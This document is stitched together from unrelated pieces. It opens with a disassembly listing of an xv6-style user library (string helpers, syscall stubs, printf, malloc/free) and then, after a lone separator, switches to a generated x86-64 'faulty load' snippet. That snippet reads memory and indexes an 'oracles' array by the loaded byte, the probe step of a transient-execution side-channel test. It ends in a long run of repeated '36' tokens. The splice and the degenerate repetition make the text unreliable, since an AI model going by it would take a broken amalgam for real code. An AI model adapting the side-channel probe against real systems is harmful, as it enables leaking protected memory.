caa: 8d 42 d0 lea -0x30(%edx),%eax
cad: 3c 09 cmp $0x9,%al
n = 0;
caf: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
cb4: 77 1f ja cd5 <atoi+0x35>
cb6: 8d 76 00 lea 0x0(%esi),%esi
cb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
cc0: 8d 04 80 lea (%eax,%eax,4),%eax
cc3: 83 c1 01 add $0x1,%ecx
cc6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
cca: 0f be 11 movsbl (%ecx),%edx
ccd: 8d 5a d0 lea -0x30(%edx),%ebx
cd0: 80 fb 09 cmp $0x9,%bl
cd3: 76 eb jbe cc0 <atoi+0x20>
return n;
}
cd5: 5b pop %ebx
cd6: 5d pop %ebp
cd7: c3 ret
cd8: 90 nop
cd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000ce0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
ce0: 55 push %ebp
ce1: 89 e5 mov %esp,%ebp
ce3: 56 push %esi
ce4: 53 push %ebx
ce5: 8b 5d 10 mov 0x10(%ebp),%ebx
ce8: 8b 45 08 mov 0x8(%ebp),%eax
ceb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
cee: 85 db test %ebx,%ebx
cf0: 7e 14 jle d06 <memmove+0x26>
cf2: 31 d2 xor %edx,%edx
cf4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
cf8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
cfc: 88 0c 10 mov %cl,(%eax,%edx,1)
cff: 83 c2 01 add $0x1,%edx
while(n-- > 0)
d02: 39 d3 cmp %edx,%ebx
d04: 75 f2 jne cf8 <memmove+0x18>
return vdst;
}
d06: 5b pop %ebx
d07: 5e pop %esi
d08: 5d pop %ebp
d09: c3 ret
00000d0a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
d0a: b8 01 00 00 00 mov $0x1,%eax
d0f: cd 40 int $0x40
d11: c3 ret
00000d12 <exit>:
SYSCALL(exit)
d12: b8 02 00 00 00 mov $0x2,%eax
d17: cd 40 int $0x40
d19: c3 ret
00000d1a <wait>:
SYSCALL(wait)
d1a: b8 03 00 00 00 mov $0x3,%eax
d1f: cd 40 int $0x40
d21: c3 ret
00000d22 <pipe>:
SYSCALL(pipe)
d22: b8 04 00 00 00 mov $0x4,%eax
d27: cd 40 int $0x40
d29: c3 ret
00000d2a <read>:
SYSCALL(read)
d2a: b8 05 00 00 00 mov $0x5,%eax
d2f: cd 40 int $0x40
d31: c3 ret
00000d32 <write>:
SYSCALL(write)
d32: b8 10 00 00 00 mov $0x10,%eax
d37: cd 40 int $0x40
d39: c3 ret
00000d3a <close>:
SYSCALL(close)
d3a: b8 15 00 00 00 mov $0x15,%eax
d3f: cd 40 int $0x40
d41: c3 ret
00000d42 <kill>:
SYSCALL(kill)
d42: b8 06 00 00 00 mov $0x6,%eax
d47: cd 40 int $0x40
d49: c3 ret
00000d4a <exec>:
SYSCALL(exec)
d4a: b8 07 00 00 00 mov $0x7,%eax
d4f: cd 40 int $0x40
d51: c3 ret
00000d52 <open>:
SYSCALL(open)
d52: b8 0f 00 00 00 mov $0xf,%eax
d57: cd 40 int $0x40
d59: c3 ret
00000d5a <mknod>:
SYSCALL(mknod)
d5a: b8 11 00 00 00 mov $0x11,%eax
d5f: cd 40 int $0x40
d61: c3 ret
00000d62 <unlink>:
SYSCALL(unlink)
d62: b8 12 00 00 00 mov $0x12,%eax
d67: cd 40 int $0x40
d69: c3 ret
00000d6a <fstat>:
SYSCALL(fstat)
d6a: b8 08 00 00 00 mov $0x8,%eax
d6f: cd 40 int $0x40
d71: c3 ret
00000d72 <link>:
SYSCALL(link)
d72: b8 13 00 00 00 mov $0x13,%eax
d77: cd 40 int $0x40
d79: c3 ret
00000d7a <mkdir>:
SYSCALL(mkdir)
d7a: b8 14 00 00 00 mov $0x14,%eax
d7f: cd 40 int $0x40
d81: c3 ret
00000d82 <chdir>:
SYSCALL(chdir)
d82: b8 09 00 00 00 mov $0x9,%eax
d87: cd 40 int $0x40
d89: c3 ret
00000d8a <dup>:
SYSCALL(dup)
d8a: b8 0a 00 00 00 mov $0xa,%eax
d8f: cd 40 int $0x40
d91: c3 ret
00000d92 <getpid>:
SYSCALL(getpid)
d92: b8 0b 00 00 00 mov $0xb,%eax
d97: cd 40 int $0x40
d99: c3 ret
00000d9a <sbrk>:
SYSCALL(sbrk)
d9a: b8 0c 00 00 00 mov $0xc,%eax
d9f: cd 40 int $0x40
da1: c3 ret
00000da2 <sleep>:
SYSCALL(sleep)
da2: b8 0d 00 00 00 mov $0xd,%eax
da7: cd 40 int $0x40
da9: c3 ret
00000daa <uptime>:
SYSCALL(uptime)
daa: b8 0e 00 00 00 mov $0xe,%eax
daf: cd 40 int $0x40
db1: c3 ret
00000db2 <sigprocmask>:
SYSCALL(sigprocmask)
db2: b8 16 00 00 00 mov $0x16,%eax
db7: cd 40 int $0x40
db9: c3 ret
00000dba <sigaction>:
SYSCALL(sigaction)
dba: b8 17 00 00 00 mov $0x17,%eax
dbf: cd 40 int $0x40
dc1: c3 ret
00000dc2 <sigret>:
dc2: b8 18 00 00 00 mov $0x18,%eax
dc7: cd 40 int $0x40
dc9: c3 ret
dca: 66 90 xchg %ax,%ax
dcc: 66 90 xchg %ax,%ax
dce: 66 90 xchg %ax,%ax
00000dd0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
dd0: 55 push %ebp
dd1: 89 e5 mov %esp,%ebp
dd3: 57 push %edi
dd4: 56 push %esi
dd5: 53 push %ebx
dd6: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
dd9: 85 d2 test %edx,%edx
{
ddb: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
dde: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
de0: 79 76 jns e58 <printint+0x88>
de2: f6 45 08 01 testb $0x1,0x8(%ebp)
de6: 74 70 je e58 <printint+0x88>
x = -xx;
de8: f7 d8 neg %eax
neg = 1;
dea: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
df1: 31 f6 xor %esi,%esi
df3: 8d 5d d7 lea -0x29(%ebp),%ebx
df6: eb 0a jmp e02 <printint+0x32>
df8: 90 nop
df9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
e00: 89 fe mov %edi,%esi
e02: 31 d2 xor %edx,%edx
e04: 8d 7e 01 lea 0x1(%esi),%edi
e07: f7 f1 div %ecx
e09: 0f b6 92 b8 12 00 00 movzbl 0x12b8(%edx),%edx
}while((x /= base) != 0);
e10: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
e12: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
e15: 75 e9 jne e00 <printint+0x30>
if(neg)
e17: 8b 45 c4 mov -0x3c(%ebp),%eax
e1a: 85 c0 test %eax,%eax
e1c: 74 08 je e26 <printint+0x56>
buf[i++] = '-';
e1e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
e23: 8d 7e 02 lea 0x2(%esi),%edi
e26: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
e2a: 8b 7d c0 mov -0x40(%ebp),%edi
e2d: 8d 76 00 lea 0x0(%esi),%esi
e30: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
e33: 83 ec 04 sub $0x4,%esp
e36: 83 ee 01 sub $0x1,%esi
e39: 6a 01 push $0x1
e3b: 53 push %ebx
e3c: 57 push %edi
e3d: 88 45 d7 mov %al,-0x29(%ebp)
e40: e8 ed fe ff ff call d32 <write>
while(--i >= 0)
e45: 83 c4 10 add $0x10,%esp
e48: 39 de cmp %ebx,%esi
e4a: 75 e4 jne e30 <printint+0x60>
putc(fd, buf[i]);
}
e4c: 8d 65 f4 lea -0xc(%ebp),%esp
e4f: 5b pop %ebx
e50: 5e pop %esi
e51: 5f pop %edi
e52: 5d pop %ebp
e53: c3 ret
e54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
e58: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
e5f: eb 90 jmp df1 <printint+0x21>
e61: eb 0d jmp e70 <printf>
e63: 90 nop
e64: 90 nop
e65: 90 nop
e66: 90 nop
e67: 90 nop
e68: 90 nop
e69: 90 nop
e6a: 90 nop
e6b: 90 nop
e6c: 90 nop
e6d: 90 nop
e6e: 90 nop
e6f: 90 nop
00000e70 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
e70: 55 push %ebp
e71: 89 e5 mov %esp,%ebp
e73: 57 push %edi
e74: 56 push %esi
e75: 53 push %ebx
e76: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
e79: 8b 75 0c mov 0xc(%ebp),%esi
e7c: 0f b6 1e movzbl (%esi),%ebx
e7f: 84 db test %bl,%bl
e81: 0f 84 b3 00 00 00 je f3a <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
e87: 8d 45 10 lea 0x10(%ebp),%eax
e8a: 83 c6 01 add $0x1,%esi
state = 0;
e8d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
e8f: 89 45 d4 mov %eax,-0x2c(%ebp)
e92: eb 2f jmp ec3 <printf+0x53>
e94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
e98: 83 f8 25 cmp $0x25,%eax
e9b: 0f 84 a7 00 00 00 je f48 <printf+0xd8>
write(fd, &c, 1);
ea1: 8d 45 e2 lea -0x1e(%ebp),%eax
ea4: 83 ec 04 sub $0x4,%esp
ea7: 88 5d e2 mov %bl,-0x1e(%ebp)
eaa: 6a 01 push $0x1
eac: 50 push %eax
ead: ff 75 08 pushl 0x8(%ebp)
eb0: e8 7d fe ff ff call d32 <write>
eb5: 83 c4 10 add $0x10,%esp
eb8: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
ebb: 0f b6 5e ff movzbl -0x1(%esi),%ebx
ebf: 84 db test %bl,%bl
ec1: 74 77 je f3a <printf+0xca>
if(state == 0){
ec3: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
ec5: 0f be cb movsbl %bl,%ecx
ec8: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
ecb: 74 cb je e98 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
ecd: 83 ff 25 cmp $0x25,%edi
ed0: 75 e6 jne eb8 <printf+0x48>
if(c == 'd'){
ed2: 83 f8 64 cmp $0x64,%eax
ed5: 0f 84 05 01 00 00 je fe0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
edb: 81 e1 f7 00 00 00 and $0xf7,%ecx
ee1: 83 f9 70 cmp $0x70,%ecx
ee4: 74 72 je f58 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
ee6: 83 f8 73 cmp $0x73,%eax
ee9: 0f 84 99 00 00 00 je f88 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
eef: 83 f8 63 cmp $0x63,%eax
ef2: 0f 84 08 01 00 00 je 1000 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
ef8: 83 f8 25 cmp $0x25,%eax
efb: 0f 84 ef 00 00 00 je ff0 <printf+0x180>
write(fd, &c, 1);
f01: 8d 45 e7 lea -0x19(%ebp),%eax
f04: 83 ec 04 sub $0x4,%esp
f07: c6 45 e7 25 movb $0x25,-0x19(%ebp)
f0b: 6a 01 push $0x1
f0d: 50 push %eax
f0e: ff 75 08 pushl 0x8(%ebp)
f11: e8 1c fe ff ff call d32 <write>
f16: 83 c4 0c add $0xc,%esp
f19: 8d 45 e6 lea -0x1a(%ebp),%eax
f1c: 88 5d e6 mov %bl,-0x1a(%ebp)
f1f: 6a 01 push $0x1
f21: 50 push %eax
f22: ff 75 08 pushl 0x8(%ebp)
f25: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
f28: 31 ff xor %edi,%edi
write(fd, &c, 1);
f2a: e8 03 fe ff ff call d32 <write>
for(i = 0; fmt[i]; i++){
f2f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
f33: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
f36: 84 db test %bl,%bl
f38: 75 89 jne ec3 <printf+0x53>
}
}
}
f3a: 8d 65 f4 lea -0xc(%ebp),%esp
f3d: 5b pop %ebx
f3e: 5e pop %esi
f3f: 5f pop %edi
f40: 5d pop %ebp
f41: c3 ret
f42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
f48: bf 25 00 00 00 mov $0x25,%edi
f4d: e9 66 ff ff ff jmp eb8 <printf+0x48>
f52: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
f58: 83 ec 0c sub $0xc,%esp
f5b: b9 10 00 00 00 mov $0x10,%ecx
f60: 6a 00 push $0x0
f62: 8b 7d d4 mov -0x2c(%ebp),%edi
f65: 8b 45 08 mov 0x8(%ebp),%eax
f68: 8b 17 mov (%edi),%edx
f6a: e8 61 fe ff ff call dd0 <printint>
ap++;
f6f: 89 f8 mov %edi,%eax
f71: 83 c4 10 add $0x10,%esp
state = 0;
f74: 31 ff xor %edi,%edi
ap++;
f76: 83 c0 04 add $0x4,%eax
f79: 89 45 d4 mov %eax,-0x2c(%ebp)
f7c: e9 37 ff ff ff jmp eb8 <printf+0x48>
f81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
f88: 8b 45 d4 mov -0x2c(%ebp),%eax
f8b: 8b 08 mov (%eax),%ecx
ap++;
f8d: 83 c0 04 add $0x4,%eax
f90: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
f93: 85 c9 test %ecx,%ecx
f95: 0f 84 8e 00 00 00 je 1029 <printf+0x1b9>
while(*s != 0){
f9b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
f9e: 31 ff xor %edi,%edi
s = (char*)*ap;
fa0: 89 cb mov %ecx,%ebx
while(*s != 0){
fa2: 84 c0 test %al,%al
fa4: 0f 84 0e ff ff ff je eb8 <printf+0x48>
faa: 89 75 d0 mov %esi,-0x30(%ebp)
fad: 89 de mov %ebx,%esi
faf: 8b 5d 08 mov 0x8(%ebp),%ebx
fb2: 8d 7d e3 lea -0x1d(%ebp),%edi
fb5: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
fb8: 83 ec 04 sub $0x4,%esp
s++;
fbb: 83 c6 01 add $0x1,%esi
fbe: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
fc1: 6a 01 push $0x1
fc3: 57 push %edi
fc4: 53 push %ebx
fc5: e8 68 fd ff ff call d32 <write>
while(*s != 0){
fca: 0f b6 06 movzbl (%esi),%eax
fcd: 83 c4 10 add $0x10,%esp
fd0: 84 c0 test %al,%al
fd2: 75 e4 jne fb8 <printf+0x148>
fd4: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
fd7: 31 ff xor %edi,%edi
fd9: e9 da fe ff ff jmp eb8 <printf+0x48>
fde: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
fe0: 83 ec 0c sub $0xc,%esp
fe3: b9 0a 00 00 00 mov $0xa,%ecx
fe8: 6a 01 push $0x1
fea: e9 73 ff ff ff jmp f62 <printf+0xf2>
fef: 90 nop
write(fd, &c, 1);
ff0: 83 ec 04 sub $0x4,%esp
ff3: 88 5d e5 mov %bl,-0x1b(%ebp)
ff6: 8d 45 e5 lea -0x1b(%ebp),%eax
ff9: 6a 01 push $0x1
ffb: e9 21 ff ff ff jmp f21 <printf+0xb1>
putc(fd, *ap);
1000: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
1003: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
1006: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
1008: 6a 01 push $0x1
ap++;
100a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
100d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
1010: 8d 45 e4 lea -0x1c(%ebp),%eax
1013: 50 push %eax
1014: ff 75 08 pushl 0x8(%ebp)
1017: e8 16 fd ff ff call d32 <write>
ap++;
101c: 89 7d d4 mov %edi,-0x2c(%ebp)
101f: 83 c4 10 add $0x10,%esp
state = 0;
1022: 31 ff xor %edi,%edi
1024: e9 8f fe ff ff jmp eb8 <printf+0x48>
s = "(null)";
1029: bb b0 12 00 00 mov $0x12b0,%ebx
while(*s != 0){
102e: b8 28 00 00 00 mov $0x28,%eax
1033: e9 72 ff ff ff jmp faa <printf+0x13a>
1038: 66 90 xchg %ax,%ax
103a: 66 90 xchg %ax,%ax
103c: 66 90 xchg %ax,%ax
103e: 66 90 xchg %ax,%ax
00001040 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1040: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1041: a1 04 19 00 00 mov 0x1904,%eax
{
1046: 89 e5 mov %esp,%ebp
1048: 57 push %edi
1049: 56 push %esi
104a: 53 push %ebx
104b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
104e: 8d 4b f8 lea -0x8(%ebx),%ecx
1051: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1058: 39 c8 cmp %ecx,%eax
105a: 8b 10 mov (%eax),%edx
105c: 73 32 jae 1090 <free+0x50>
105e: 39 d1 cmp %edx,%ecx
1060: 72 04 jb 1066 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1062: 39 d0 cmp %edx,%eax
1064: 72 32 jb 1098 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
1066: 8b 73 fc mov -0x4(%ebx),%esi
1069: 8d 3c f1 lea (%ecx,%esi,8),%edi
106c: 39 fa cmp %edi,%edx
106e: 74 30 je 10a0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
1070: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
1073: 8b 50 04 mov 0x4(%eax),%edx
1076: 8d 34 d0 lea (%eax,%edx,8),%esi
1079: 39 f1 cmp %esi,%ecx
107b: 74 3a je 10b7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
107d: 89 08 mov %ecx,(%eax)
freep = p;
107f: a3 04 19 00 00 mov %eax,0x1904
}
1084: 5b pop %ebx
1085: 5e pop %esi
1086: 5f pop %edi
1087: 5d pop %ebp
1088: c3 ret
1089: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1090: 39 d0 cmp %edx,%eax
1092: 72 04 jb 1098 <free+0x58>
1094: 39 d1 cmp %edx,%ecx
1096: 72 ce jb 1066 <free+0x26>
{
1098: 89 d0 mov %edx,%eax
109a: eb bc jmp 1058 <free+0x18>
109c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
10a0: 03 72 04 add 0x4(%edx),%esi
10a3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
10a6: 8b 10 mov (%eax),%edx
10a8: 8b 12 mov (%edx),%edx
10aa: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
10ad: 8b 50 04 mov 0x4(%eax),%edx
10b0: 8d 34 d0 lea (%eax,%edx,8),%esi
10b3: 39 f1 cmp %esi,%ecx
10b5: 75 c6 jne 107d <free+0x3d>
p->s.size += bp->s.size;
10b7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
10ba: a3 04 19 00 00 mov %eax,0x1904
p->s.size += bp->s.size;
10bf: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
10c2: 8b 53 f8 mov -0x8(%ebx),%edx
10c5: 89 10 mov %edx,(%eax)
}
10c7: 5b pop %ebx
10c8: 5e pop %esi
10c9: 5f pop %edi
10ca: 5d pop %ebp
10cb: c3 ret
10cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000010d0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
10d0: 55 push %ebp
10d1: 89 e5 mov %esp,%ebp
10d3: 57 push %edi
10d4: 56 push %esi
10d5: 53 push %ebx
10d6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
10d9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
10dc: 8b 15 04 19 00 00 mov 0x1904,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
10e2: 8d 78 07 lea 0x7(%eax),%edi
10e5: c1 ef 03 shr $0x3,%edi
10e8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
10eb: 85 d2 test %edx,%edx
10ed: 0f 84 9d 00 00 00 je 1190 <malloc+0xc0>
10f3: 8b 02 mov (%edx),%eax
10f5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
10f8: 39 cf cmp %ecx,%edi
10fa: 76 6c jbe 1168 <malloc+0x98>
10fc: 81 ff 00 10 00 00 cmp $0x1000,%edi
1102: bb 00 10 00 00 mov $0x1000,%ebx
1107: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
110a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
1111: eb 0e jmp 1121 <malloc+0x51>
1113: 90 nop
1114: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1118: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
111a: 8b 48 04 mov 0x4(%eax),%ecx
111d: 39 f9 cmp %edi,%ecx
111f: 73 47 jae 1168 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
1121: 39 05 04 19 00 00 cmp %eax,0x1904
1127: 89 c2 mov %eax,%edx
1129: 75 ed jne 1118 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
112b: 83 ec 0c sub $0xc,%esp
112e: 56 push %esi
112f: e8 66 fc ff ff call d9a <sbrk>
if(p == (char*)-1)
1134: 83 c4 10 add $0x10,%esp
1137: 83 f8 ff cmp $0xffffffff,%eax
113a: 74 1c je 1158 <malloc+0x88>
hp->s.size = nu;
113c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
113f: 83 ec 0c sub $0xc,%esp
1142: 83 c0 08 add $0x8,%eax
1145: 50 push %eax
1146: e8 f5 fe ff ff call 1040 <free>
return freep;
114b: 8b 15 04 19 00 00 mov 0x1904,%edx
if((p = morecore(nunits)) == 0)
1151: 83 c4 10 add $0x10,%esp
1154: 85 d2 test %edx,%edx
1156: 75 c0 jne 1118 <malloc+0x48>
return 0;
}
}
1158: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
115b: 31 c0 xor %eax,%eax
}
115d: 5b pop %ebx
115e: 5e pop %esi
115f: 5f pop %edi
1160: 5d pop %ebp
1161: c3 ret
1162: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
1168: 39 cf cmp %ecx,%edi
116a: 74 54 je 11c0 <malloc+0xf0>
p->s.size -= nunits;
116c: 29 f9 sub %edi,%ecx
116e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
1171: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
1174: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
1177: 89 15 04 19 00 00 mov %edx,0x1904
}
117d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
1180: 83 c0 08 add $0x8,%eax
}
1183: 5b pop %ebx
1184: 5e pop %esi
1185: 5f pop %edi
1186: 5d pop %ebp
1187: c3 ret
1188: 90 nop
1189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
1190: c7 05 04 19 00 00 08 movl $0x1908,0x1904
1197: 19 00 00
119a: c7 05 08 19 00 00 08 movl $0x1908,0x1908
11a1: 19 00 00
base.s.size = 0;
11a4: b8 08 19 00 00 mov $0x1908,%eax
11a9: c7 05 0c 19 00 00 00 movl $0x0,0x190c
11b0: 00 00 00
11b3: e9 44 ff ff ff jmp 10fc <malloc+0x2c>
11b8: 90 nop
11b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
11c0: 8b 08 mov (%eax),%ecx
11c2: 89 0a mov %ecx,(%edx)
11c4: eb b1 jmp 1177 <malloc+0xa7>
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %rax
push %rbp
push %rbx
push %rdx
// Load
lea addresses_UC+0x5f34, %r11
nop
nop
nop
xor $37660, %rbx
mov (%r11), %rdx
nop
nop
nop
cmp %rdx, %rdx
// Faulty Load
lea addresses_D+0x4034, %rax
add %rbx, %rbx
movups (%rax), %xmm2
vpextrq $0, %xmm2, %r11
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 